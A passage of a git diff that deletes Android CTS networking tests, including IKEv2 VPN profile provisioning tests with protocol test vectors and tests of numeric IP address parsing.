-        final int ipOffset = getSrcAddr ? srcIpOffset : srcIpOffset + ipLen;
-
-        if (pkt.length < ipOffset + ipLen) {
-            // Should be impossible; getAddress() is only called with a full IKE request including
-            // the IP and UDP headers.
-            throw new IllegalArgumentException("Packet was too short to contain IP address");
-        }
-
-        return InetAddress.getByAddress(Arrays.copyOfRange(pkt, ipOffset, ipOffset + ipLen));
-    }
-
-    private static int getSrcPort(byte[] pkt) throws Exception {
-        return getPort(pkt, true);
-    }
-
-    private static int getDstPort(byte[] pkt) throws Exception {
-        return getPort(pkt, false);
-    }
-
-    private static int getPort(byte[] pkt, boolean getSrcPort) {
-        final int srcPortOffset = isIpv6(pkt) ? IP6_HDRLEN : IP4_HDRLEN;
-        final int portOffset = getSrcPort ? srcPortOffset : srcPortOffset + PORT_LEN;
-
-        if (pkt.length < portOffset + PORT_LEN) {
-            // Should be impossible; getPort() is only called with a full IKE request including the
-            // IP and UDP headers.
-            throw new IllegalArgumentException("Packet was too short to contain port");
-        }
-
-        final ByteBuffer buffer = ByteBuffer.wrap(pkt);
-        return Short.toUnsignedInt(buffer.getShort(portOffset));
-    }
-
-    private static byte[] buildIkePacket(
-            InetAddress srcAddr,
-            InetAddress dstAddr,
-            int srcPort,
-            int dstPort,
-            boolean useEncap,
-            byte[] payload)
-            throws Exception {
-        // Append non-ESP marker if encap is enabled
-        if (useEncap) {
-            final ByteBuffer buffer = ByteBuffer.allocate(NON_ESP_MARKER.length + payload.length);
-            buffer.put(NON_ESP_MARKER);
-            buffer.put(payload);
-            payload = buffer.array();
-        }
-
-        final UdpHeader udpPkt = new UdpHeader(srcPort, dstPort, new BytePayload(payload));
-        final IpHeader ipPkt = getIpHeader(udpPkt.getProtocolId(), srcAddr, dstAddr, udpPkt);
-        return ipPkt.getPacketBytes();
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java b/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
deleted file mode 100644
index 9eab024..0000000
--- a/tests/tests/net/src/android/net/cts/Ikev2VpnTest.java
+++ /dev/null
@@ -1,535 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.TRANSPORT_VPN;
-import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
-
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.Manifest;
-import android.annotation.NonNull;
-import android.app.AppOpsManager;
-import android.content.Context;
-import android.content.Intent;
-import android.net.ConnectivityManager;
-import android.net.Ikev2VpnProfile;
-import android.net.IpSecAlgorithm;
-import android.net.LinkAddress;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.ProxyInfo;
-import android.net.TestNetworkInterface;
-import android.net.TestNetworkManager;
-import android.net.VpnManager;
-import android.net.cts.util.CtsNetUtils;
-import android.os.Build;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.internal.util.HexDump;
-import com.android.org.bouncycastle.x509.X509V1CertificateGenerator;
-import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
-import com.android.testutils.DevSdkIgnoreRunner;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.math.BigInteger;
-import java.net.InetAddress;
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import java.security.PrivateKey;
-import java.security.cert.X509Certificate;
-import java.util.Arrays;
-import java.util.Date;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-import javax.security.auth.x500.X500Principal;
-
-@RunWith(DevSdkIgnoreRunner.class)
-@IgnoreUpTo(Build.VERSION_CODES.Q)
-@AppModeFull(reason = "Appops state changes disallowed for instant apps (OP_ACTIVATE_PLATFORM_VPN)")
-public class Ikev2VpnTest {
-    private static final String TAG = Ikev2VpnTest.class.getSimpleName();
-
-    // Test vectors for IKE negotiation in test mode.
-    private static final String SUCCESSFUL_IKE_INIT_RESP_V4 =
-            "46b8eca1e0d72a18b2b5d9006d47a0022120222000000000000002d0220000300000002c01010004030000"
-                    + "0c0100000c800e0100030000080300000c030000080200000400000008040000102800020800"
-                    + "100000b8070f159fe5141d8754ca86f72ecc28d66f514927e96cbe9eec0adb42bf2c276a0ab7"
-                    + "a97fa93555f4be9218c14e7f286bb28c6b4fb13825a420f2ffc165854f200bab37d69c8963d4"
-                    + "0acb831d983163aa50622fd35c182efe882cf54d6106222abcfaa597255d302f1b95ab71c142"
-                    + "c279ea5839a180070bff73f9d03fab815f0d5ee2adec7e409d1e35979f8bd92ffd8aab13d1a0"
-                    + "0657d816643ae767e9ae84d2ccfa2bcce1a50572be8d3748ae4863c41ae90da16271e014270f"
-                    + "77edd5cd2e3299f3ab27d7203f93d770bacf816041cdcecd0f9af249033979da4369cb242dd9"
-                    + "6d172e60513ff3db02de63e50eb7d7f596ada55d7946cad0af0669d1f3e2804846ab3f2a930d"
-                    + "df56f7f025f25c25ada694e6231abbb87ee8cfd072c8481dc0b0f6b083fdc3bd89b080e49feb"
-                    + "0288eef6fdf8a26ee2fc564a11e7385215cf2deaf2a9965638fc279c908ccdf04094988d91a2"
-                    + "464b4a8c0326533aff5119ed79ecbd9d99a218b44f506a5eb09351e67da86698b4c58718db25"
-                    + "d55f426fb4c76471b27a41fbce00777bc233c7f6e842e39146f466826de94f564cad8b92bfbe"
-                    + "87c99c4c7973ec5f1eea8795e7da82819753aa7c4fcfdab77066c56b939330c4b0d354c23f83"
-                    + "ea82fa7a64c4b108f1188379ea0eb4918ee009d804100e6bf118771b9058d42141c847d5ec37"
-                    + "6e5ec591c71fc9dac01063c2bd31f9c783b28bf1182900002430f3d5de3449462b31dd28bc27"
-                    + "297b6ad169bccce4f66c5399c6e0be9120166f2900001c0000400428b8df2e66f69c8584a186"
-                    + "c5eac66783551d49b72900001c000040054e7a622e802d5cbfb96d5f30a6e433994370173529"
-                    + "0000080000402e290000100000402f00020003000400050000000800004014";
-    private static final String SUCCESSFUL_IKE_INIT_RESP_V6 =
-            "46b8eca1e0d72a1800d9ea1babce26bf2120222000000000000002d0220000300000002c01010004030000"
-                    + "0c0100000c800e0100030000080300000c030000080200000400000008040000102800020800"
-                    + "100000ea0e6dd9ca5930a9a45c323a41f64bfd8cdef7730f5fbff37d7c377da427f489a42aa8"
-                    + "c89233380e6e925990d49de35c2cdcf63a61302c731a4b3569df1ee1bf2457e55a6751838ede"
-                    + "abb75cc63ba5c9e4355e8e784f383a5efe8a44727dc14aeaf8dacc2620fb1c8875416dc07739"
-                    + "7fe4decc1bd514a9c7d270cf21fd734c63a25c34b30b68686e54e8a198f37f27cb491fe27235"
-                    + "fab5476b036d875ccab9a68d65fbf3006197f9bebbf94de0d3802b4fafe1d48d931ce3a1a346"
-                    + "2d65bd639e9bd7fa46299650a9dbaf9b324e40b466942d91a59f41ef8042f8474c4850ed0f63"
-                    + "e9238949d41cd8bbaea9aefdb65443a6405792839563aa5dc5c36b5ce8326ccf8a94d9622b85"
-                    + "038d390d5fc0299e14e1f022966d4ac66515f6108ca04faec44821fe5bbf2ed4f84ff5671219"
-                    + "608cb4c36b44a31ba010c9088f8d5ff943bb9ff857f74be1755f57a5783874adc57f42bb174e"
-                    + "4ad3215de628707014dbcb1707bd214658118fdd7a42b3e1638b991ce5b812a667f1145be811"
-                    + "685e3cd3baf9b18d062657b64c206a4d19a531c252a6a51a04aeaf42c618620cdbab65baca23"
-                    + "82c57ed888422aeaacf7f1bc3fe2247ff7e7eaca218b74d7b31d02f2b0afa123f802529e7e6c"
-                    + "3259d418290740ddbf55686e26998d7edcbbf895664972fed666f2f20af40503aa2af436ec6d"
-                    + "4ec981ab19b9088755d94ae7a7c2066ea331d4e56e290000243fefe5555fce552d57a84e682c"
-                    + "d4a6dfb3f2f94a94464d5bec3d88b88e9559642900001c00004004eb4afff764e7b79bca78b1"
-                    + "3a89100d36d678ae982900001c00004005d177216a3c26f782076e12570d40bfaaa148822929"
-                    + "0000080000402e290000100000402f00020003000400050000000800004014";
-    private static final String SUCCESSFUL_IKE_AUTH_RESP_V4 =
-            "46b8eca1e0d72a18b2b5d9006d47a0022e20232000000001000000e0240000c420a2500a3da4c66fa6929e"
-                    + "600f36349ba0e38de14f78a3ad0416cba8c058735712a3d3f9a0a6ed36de09b5e9e02697e7c4"
-                    + "2d210ac86cfbd709503cfa51e2eab8cfdc6427d136313c072968f6506a546eb5927164200592"
-                    + "6e36a16ee994e63f029432a67bc7d37ca619e1bd6e1678df14853067ecf816b48b81e8746069"
-                    + "406363e5aa55f13cb2afda9dbebee94256c29d630b17dd7f1ee52351f92b6e1c3d8551c513f1"
-                    + "d74ac52a80b2041397e109fe0aeb3c105b0d4be0ae343a943398764281";
-    private static final String SUCCESSFUL_IKE_AUTH_RESP_V6 =
-            "46b8eca1e0d72a1800d9ea1babce26bf2e20232000000001000000f0240000d4aaf6eaa6c06b50447e6f54"
-                    + "827fd8a9d9d6ac8015c1ebb3e8cb03fc6e54b49a107441f50004027cc5021600828026367f03"
-                    + "bc425821cd7772ee98637361300c9b76056e874fea2bd4a17212370b291894264d8c023a01d1"
-                    + "c3b691fd4b7c0b534e8c95af4c4638e2d125cb21c6267e2507cd745d72e8da109c47b9259c6c"
-                    + "57a26f6bc5b337b9b9496d54bdde0333d7a32e6e1335c9ee730c3ecd607a8689aa7b0577b74f"
-                    + "3bf437696a9fd5fc0aee3ed346cd9e15d1dda293df89eb388a8719388a60ca7625754de12cdb"
-                    + "efe4c886c5c401";
-    private static final long IKE_INITIATOR_SPI = Long.parseLong("46B8ECA1E0D72A18", 16);
-
-    private static final InetAddress LOCAL_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.1");
-    private static final InetAddress LOCAL_OUTER_6 =
-            InetAddress.parseNumericAddress("2001:db8::1");
-
-    private static final int IP4_PREFIX_LEN = 32;
-    private static final int IP6_PREFIX_LEN = 128;
-
-    // TODO: Use IPv6 address when we can generate test vectors (GCE does not allow IPv6 yet).
-    private static final String TEST_SERVER_ADDR_V4 = "192.0.2.2";
-    private static final String TEST_SERVER_ADDR_V6 = "2001:db8::2";
-    private static final String TEST_IDENTITY = "client.cts.android.com";
-    private static final List<String> TEST_ALLOWED_ALGORITHMS =
-            Arrays.asList(IpSecAlgorithm.AUTH_CRYPT_AES_GCM);
-
-    private static final ProxyInfo TEST_PROXY_INFO =
-            ProxyInfo.buildDirectProxy("proxy.cts.android.com", 1234);
-    private static final int TEST_MTU = 1300;
-
-    private static final byte[] TEST_PSK = "ikeAndroidPsk".getBytes();
-    private static final String TEST_USER = "username";
-    private static final String TEST_PASSWORD = "pa55w0rd";
-
-    // Static state to reduce setup/teardown
-    private static final Context sContext = InstrumentationRegistry.getContext();
-    private static final ConnectivityManager sCM =
-            (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-    private static final VpnManager sVpnMgr =
-            (VpnManager) sContext.getSystemService(Context.VPN_MANAGEMENT_SERVICE);
-    private static final CtsNetUtils mCtsNetUtils = new CtsNetUtils(sContext);
-
-    private final X509Certificate mServerRootCa;
-    private final CertificateAndKey mUserCertKey;
-
-    public Ikev2VpnTest() throws Exception {
-        // Build certificates
-        mServerRootCa = generateRandomCertAndKeyPair().cert;
-        mUserCertKey = generateRandomCertAndKeyPair();
-    }
-
-    @After
-    public void tearDown() {
-        setAppop(AppOpsManager.OP_ACTIVATE_VPN, false);
-        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
-    }
-
-    /**
-     * Sets the given appop using shell commands
-     *
-     * <p>This method must NEVER be called from within a shell permission, as it will attempt to
-     * acquire, and then drop the shell permission identity. This results in the caller losing the
-     * shell permission identity due to these calls not being reference counted.
-     */
-    public void setAppop(int appop, boolean allow) {
-        // Requires shell permission to update appops.
-        runWithShellPermissionIdentity(() -> {
-            mCtsNetUtils.setAppopPrivileged(appop, allow);
-        }, Manifest.permission.MANAGE_TEST_NETWORKS);
-    }
-
-    private Ikev2VpnProfile buildIkev2VpnProfileCommon(
-            Ikev2VpnProfile.Builder builder, boolean isRestrictedToTestNetworks) throws Exception {
-        if (isRestrictedToTestNetworks) {
-            builder.restrictToTestNetworks();
-        }
-
-        return builder.setBypassable(true)
-                .setAllowedAlgorithms(TEST_ALLOWED_ALGORITHMS)
-                .setProxy(TEST_PROXY_INFO)
-                .setMaxMtu(TEST_MTU)
-                .setMetered(false)
-                .build();
-    }
-
-    private Ikev2VpnProfile buildIkev2VpnProfilePsk(boolean isRestrictedToTestNetworks)
-            throws Exception {
-        return buildIkev2VpnProfilePsk(TEST_SERVER_ADDR_V6, isRestrictedToTestNetworks);
-    }
-
-    private Ikev2VpnProfile buildIkev2VpnProfilePsk(
-            String remote, boolean isRestrictedToTestNetworks) throws Exception {
-        final Ikev2VpnProfile.Builder builder =
-                new Ikev2VpnProfile.Builder(remote, TEST_IDENTITY).setAuthPsk(TEST_PSK);
-
-        return buildIkev2VpnProfileCommon(builder, isRestrictedToTestNetworks);
-    }
-
-    private Ikev2VpnProfile buildIkev2VpnProfileUsernamePassword(boolean isRestrictedToTestNetworks)
-            throws Exception {
-        final Ikev2VpnProfile.Builder builder =
-                new Ikev2VpnProfile.Builder(TEST_SERVER_ADDR_V6, TEST_IDENTITY)
-                        .setAuthUsernamePassword(TEST_USER, TEST_PASSWORD, mServerRootCa);
-
-        return buildIkev2VpnProfileCommon(builder, isRestrictedToTestNetworks);
-    }
-
-    private Ikev2VpnProfile buildIkev2VpnProfileDigitalSignature(boolean isRestrictedToTestNetworks)
-            throws Exception {
-        final Ikev2VpnProfile.Builder builder =
-                new Ikev2VpnProfile.Builder(TEST_SERVER_ADDR_V6, TEST_IDENTITY)
-                        .setAuthDigitalSignature(
-                                mUserCertKey.cert, mUserCertKey.key, mServerRootCa);
-
-        return buildIkev2VpnProfileCommon(builder, isRestrictedToTestNetworks);
-    }
-
-    private void checkBasicIkev2VpnProfile(@NonNull Ikev2VpnProfile profile) throws Exception {
-        assertEquals(TEST_SERVER_ADDR_V6, profile.getServerAddr());
-        assertEquals(TEST_IDENTITY, profile.getUserIdentity());
-        assertEquals(TEST_PROXY_INFO, profile.getProxyInfo());
-        assertEquals(TEST_ALLOWED_ALGORITHMS, profile.getAllowedAlgorithms());
-        assertTrue(profile.isBypassable());
-        assertFalse(profile.isMetered());
-        assertEquals(TEST_MTU, profile.getMaxMtu());
-        assertFalse(profile.isRestrictedToTestNetworks());
-    }
-
-    @Test
-    public void testBuildIkev2VpnProfilePsk() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        final Ikev2VpnProfile profile =
-                buildIkev2VpnProfilePsk(false /* isRestrictedToTestNetworks */);
-
-        checkBasicIkev2VpnProfile(profile);
-        assertArrayEquals(TEST_PSK, profile.getPresharedKey());
-
-        // Verify nothing else is set.
-        assertNull(profile.getUsername());
-        assertNull(profile.getPassword());
-        assertNull(profile.getServerRootCaCert());
-        assertNull(profile.getRsaPrivateKey());
-        assertNull(profile.getUserCert());
-    }
-
-    @Test
-    public void testBuildIkev2VpnProfileUsernamePassword() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        final Ikev2VpnProfile profile =
-                buildIkev2VpnProfileUsernamePassword(false /* isRestrictedToTestNetworks */);
-
-        checkBasicIkev2VpnProfile(profile);
-        assertEquals(TEST_USER, profile.getUsername());
-        assertEquals(TEST_PASSWORD, profile.getPassword());
-        assertEquals(mServerRootCa, profile.getServerRootCaCert());
-
-        // Verify nothing else is set.
-        assertNull(profile.getPresharedKey());
-        assertNull(profile.getRsaPrivateKey());
-        assertNull(profile.getUserCert());
-    }
-
-    @Test
-    public void testBuildIkev2VpnProfileDigitalSignature() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        final Ikev2VpnProfile profile =
-                buildIkev2VpnProfileDigitalSignature(false /* isRestrictedToTestNetworks */);
-
-        checkBasicIkev2VpnProfile(profile);
-        assertEquals(mUserCertKey.cert, profile.getUserCert());
-        assertEquals(mUserCertKey.key, profile.getRsaPrivateKey());
-        assertEquals(mServerRootCa, profile.getServerRootCaCert());
-
-        // Verify nothing else is set.
-        assertNull(profile.getUsername());
-        assertNull(profile.getPassword());
-        assertNull(profile.getPresharedKey());
-    }
-
-    private void verifyProvisionVpnProfile(
-            boolean hasActivateVpn, boolean hasActivatePlatformVpn, boolean expectIntent)
-            throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        setAppop(AppOpsManager.OP_ACTIVATE_VPN, hasActivateVpn);
-        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, hasActivatePlatformVpn);
-
-        final Ikev2VpnProfile profile =
-                buildIkev2VpnProfilePsk(false /* isRestrictedToTestNetworks */);
-        final Intent intent = sVpnMgr.provisionVpnProfile(profile);
-        assertEquals(expectIntent, intent != null);
-    }
-
-    @Test
-    public void testProvisionVpnProfileNoPreviousConsent() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        verifyProvisionVpnProfile(false /* hasActivateVpn */,
-                false /* hasActivatePlatformVpn */, true /* expectIntent */);
-    }
-
-    @Test
-    public void testProvisionVpnProfilePlatformVpnConsented() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        verifyProvisionVpnProfile(false /* hasActivateVpn */,
-                true /* hasActivatePlatformVpn */, false /* expectIntent */);
-    }
-
-    @Test
-    public void testProvisionVpnProfileVpnServiceConsented() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        verifyProvisionVpnProfile(true /* hasActivateVpn */,
-                false /* hasActivatePlatformVpn */, false /* expectIntent */);
-    }
-
-    @Test
-    public void testProvisionVpnProfileAllPreConsented() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        verifyProvisionVpnProfile(true /* hasActivateVpn */,
-                true /* hasActivatePlatformVpn */, false /* expectIntent */);
-    }
-
-    @Test
-    public void testDeleteVpnProfile() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, true);
-
-        final Ikev2VpnProfile profile =
-                buildIkev2VpnProfilePsk(false /* isRestrictedToTestNetworks */);
-        assertNull(sVpnMgr.provisionVpnProfile(profile));
-
-        // Verify that deleting the profile works (even without the appop)
-        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
-        sVpnMgr.deleteProvisionedVpnProfile();
-
-        // Test that the profile was deleted - starting it should throw an IAE.
-        try {
-            setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, true);
-            sVpnMgr.startProvisionedVpnProfile();
-            fail("Expected IllegalArgumentException due to missing profile");
-        } catch (IllegalArgumentException expected) {
-        }
-    }
-
-    @Test
-    public void testStartVpnProfileNoPreviousConsent() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        setAppop(AppOpsManager.OP_ACTIVATE_VPN, false);
-        setAppop(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, false);
-
-        // Make sure the VpnProfile is not provisioned already.
-        sVpnMgr.stopProvisionedVpnProfile();
-
-        try {
-            sVpnMgr.startProvisionedVpnProfile();
-            fail("Expected SecurityException for missing consent");
-        } catch (SecurityException expected) {
-        }
-    }
-
-    private void checkStartStopVpnProfileBuildsNetworks(IkeTunUtils tunUtils, boolean testIpv6)
-            throws Exception {
-        String serverAddr = testIpv6 ? TEST_SERVER_ADDR_V6 : TEST_SERVER_ADDR_V4;
-        String initResp = testIpv6 ? SUCCESSFUL_IKE_INIT_RESP_V6 : SUCCESSFUL_IKE_INIT_RESP_V4;
-        String authResp = testIpv6 ? SUCCESSFUL_IKE_AUTH_RESP_V6 : SUCCESSFUL_IKE_AUTH_RESP_V4;
-        boolean hasNat = !testIpv6;
-
-        // Requires MANAGE_TEST_NETWORKS to provision a test-mode profile.
-        mCtsNetUtils.setAppopPrivileged(AppOpsManager.OP_ACTIVATE_PLATFORM_VPN, true);
-
-        final Ikev2VpnProfile profile =
-                buildIkev2VpnProfilePsk(serverAddr, true /* isRestrictedToTestNetworks */);
-        assertNull(sVpnMgr.provisionVpnProfile(profile));
-
-        sVpnMgr.startProvisionedVpnProfile();
-
-        // Inject IKE negotiation
-        int expectedMsgId = 0;
-        tunUtils.awaitReqAndInjectResp(IKE_INITIATOR_SPI, expectedMsgId++, false /* isEncap */,
-                HexDump.hexStringToByteArray(initResp));
-        tunUtils.awaitReqAndInjectResp(IKE_INITIATOR_SPI, expectedMsgId++, hasNat /* isEncap */,
-                HexDump.hexStringToByteArray(authResp));
-
-        // Verify the VPN network came up
-        final NetworkRequest nr = new NetworkRequest.Builder()
-                .clearCapabilities().addTransportType(TRANSPORT_VPN).build();
-
-        final TestNetworkCallback cb = new TestNetworkCallback();
-        sCM.requestNetwork(nr, cb);
-        cb.waitForAvailable();
-        final Network vpnNetwork = cb.currentNetwork;
-        assertNotNull(vpnNetwork);
-
-        final NetworkCapabilities caps = sCM.getNetworkCapabilities(vpnNetwork);
-        assertTrue(caps.hasTransport(TRANSPORT_VPN));
-        assertTrue(caps.hasCapability(NET_CAPABILITY_INTERNET));
-        assertEquals(Process.myUid(), caps.getOwnerUid());
-
-        sVpnMgr.stopProvisionedVpnProfile();
-        cb.waitForLost();
-        assertEquals(vpnNetwork, cb.lastLostNetwork);
-    }
-
-    private void doTestStartStopVpnProfile(boolean testIpv6) throws Exception {
-        // Non-final; these variables ensure we clean up properly after our test if we have
-        // allocated test network resources
-        final TestNetworkManager tnm = sContext.getSystemService(TestNetworkManager.class);
-        TestNetworkInterface testIface = null;
-        TestNetworkCallback tunNetworkCallback = null;
-
-        try {
-            // Build underlying test network
-            testIface = tnm.createTunInterface(
-                    new LinkAddress[] {
-                            new LinkAddress(LOCAL_OUTER_4, IP4_PREFIX_LEN),
-                            new LinkAddress(LOCAL_OUTER_6, IP6_PREFIX_LEN)});
-
-            // Hold on to this callback to ensure network does not get reaped.
-            tunNetworkCallback = mCtsNetUtils.setupAndGetTestNetwork(
-                    testIface.getInterfaceName());
-            final IkeTunUtils tunUtils = new IkeTunUtils(testIface.getFileDescriptor());
-
-            checkStartStopVpnProfileBuildsNetworks(tunUtils, testIpv6);
-        } finally {
-            // Make sure to stop the VPN profile. This is safe to call multiple times.
-            sVpnMgr.stopProvisionedVpnProfile();
-
-            if (testIface != null) {
-                testIface.getFileDescriptor().close();
-            }
-
-            if (tunNetworkCallback != null) {
-                sCM.unregisterNetworkCallback(tunNetworkCallback);
-            }
-
-            final Network testNetwork = tunNetworkCallback.currentNetwork;
-            if (testNetwork != null) {
-                tnm.teardownTestNetwork(testNetwork);
-            }
-        }
-    }
-
-    @Test
-    public void testStartStopVpnProfileV4() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        // Requires shell permission to update appops.
-        runWithShellPermissionIdentity(() -> {
-            doTestStartStopVpnProfile(false);
-        });
-    }
-
-    @Test
-    public void testStartStopVpnProfileV6() throws Exception {
-        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
-
-        // Requires shell permission to update appops.
-        runWithShellPermissionIdentity(() -> {
-            doTestStartStopVpnProfile(true);
-        });
-    }
-
-    private static class CertificateAndKey {
-        public final X509Certificate cert;
-        public final PrivateKey key;
-
-        CertificateAndKey(X509Certificate cert, PrivateKey key) {
-            this.cert = cert;
-            this.key = key;
-        }
-    }
-
-    private static CertificateAndKey generateRandomCertAndKeyPair() throws Exception {
-        final Date validityBeginDate =
-                new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(1L));
-        final Date validityEndDate =
-                new Date(System.currentTimeMillis() + TimeUnit.DAYS.toMillis(1L));
-
-        // Generate a keypair
-        final KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
-        keyPairGenerator.initialize(512);
-        final KeyPair keyPair = keyPairGenerator.generateKeyPair();
-
-        final X500Principal dnName = new X500Principal("CN=test.android.com");
-        final X509V1CertificateGenerator certGen = new X509V1CertificateGenerator();
-        certGen.setSerialNumber(BigInteger.valueOf(System.currentTimeMillis()));
-        certGen.setSubjectDN(dnName);
-        certGen.setIssuerDN(dnName);
-        certGen.setNotBefore(validityBeginDate);
-        certGen.setNotAfter(validityEndDate);
-        certGen.setPublicKey(keyPair.getPublic());
-        certGen.setSignatureAlgorithm("SHA256WithRSAEncryption");
-
-        final X509Certificate cert = certGen.generate(keyPair.getPrivate(), "AndroidOpenSSL");
-        return new CertificateAndKey(cert, keyPair.getPrivate());
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/InetAddressesTest.java b/tests/tests/net/src/android/net/cts/InetAddressesTest.java
deleted file mode 100644
index 7837ce9..0000000
--- a/tests/tests/net/src/android/net/cts/InetAddressesTest.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts;
-
-import android.net.InetAddresses;
-import java.net.InetAddress;
-import junitparams.JUnitParamsRunner;
-import junitparams.Parameters;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-@RunWith(JUnitParamsRunner.class)
-public class InetAddressesTest {
-
-    public static String[][] validNumericAddressesAndStringRepresentation() {
-        return new String[][] {
-            // Regular IPv4.
-            { "1.2.3.4", "1.2.3.4" },
-
-            // Regular IPv6.
-            { "2001:4860:800d::68", "2001:4860:800d::68" },
-            { "1234:5678::9ABC:DEF0", "1234:5678::9abc:def0" },
-            { "2001:cdba:9abc:5678::", "2001:cdba:9abc:5678::" },
-            { "::2001:cdba:9abc:5678", "::2001:cdba:9abc:5678" },
-            { "64:ff9b::1.2.3.4", "64:ff9b::102:304" },
-
-            { "::9abc:5678", "::154.188.86.120" },
-
-            // Mapped IPv4
-            { "::ffff:127.0.0.1", "127.0.0.1" },
-
-            // Android does not recognize Octal (leading 0) cases: they are treated as decimal.
-            { "0177.00.00.01", "177.0.0.1" },
-
-            // Verify that examples from JavaDoc work correctly.
-            { "192.0.2.1", "192.0.2.1" },
-            { "2001:db8::1:2", "2001:db8::1:2" },
-        };
-    }
-
-    public static String[] invalidNumericAddresses() {
-        return new String[] {
-            "",
-            " ",
-            "\t",
-            "\n",
-            "1.2.3.4.",
-            "1.2.3",
-            "1.2",
-            "1",
-            "1234",
-            "0",
-            "0x1.0x2.0x3.0x4",
-            "0x7f.0x00.0x00.0x01",
-            "0256.00.00.01",
-            "fred",
-            "www.google.com",
-            // IPv6 encoded for use in URL as defined in RFC 2732
-            "[fe80::6:2222]",
-        };
-    }
-
-    @Parameters(method = "validNumericAddressesAndStringRepresentation")
-    @Test
-    public void parseNumericAddress(String address, String expectedString) {
-        InetAddress inetAddress = InetAddresses.parseNumericAddress(address);
-        assertEquals(expectedString, inetAddress.getHostAddress());
-    }
-
-    @Parameters(method = "invalidNumericAddresses")
-    @Test
-    public void test_parseNonNumericAddress(String address) {
-        try {
-            InetAddress inetAddress = InetAddresses.parseNumericAddress(address);
-            fail(String.format(
-                "Address %s is not numeric but was parsed as %s", address, inetAddress));
-        } catch (IllegalArgumentException e) {
-            assertThat(e.getMessage()).contains(address);
-        }
-    }
-
-    @Test
-    public void test_parseNumericAddress_null() {
-        try {
-            InetAddress inetAddress = InetAddresses.parseNumericAddress(null);
-            fail(String.format("null is not numeric but was parsed as %s", inetAddress));
-        } catch (NullPointerException e) {
-            // expected
-        }
-    }
-
-    @Parameters(method = "validNumericAddressesAndStringRepresentation")
-    @Test
-    public void test_isNumericAddress(String address, String unused) {
-        assertTrue("expected '" + address + "' to be treated as numeric",
-            InetAddresses.isNumericAddress(address));
-    }
-
-    @Parameters(method = "invalidNumericAddresses")
-    @Test
-    public void test_isNotNumericAddress(String address) {
-        assertFalse("expected '" + address + "' to be treated as non-numeric",
-            InetAddresses.isNumericAddress(address));
-    }
-
-    @Test
-    public void test_isNumericAddress_null() {
-        try {
-            InetAddresses.isNumericAddress(null);
-            fail("expected null to throw a NullPointerException");
-        } catch (NullPointerException e) {
-            // expected
-        }
-    }
-}
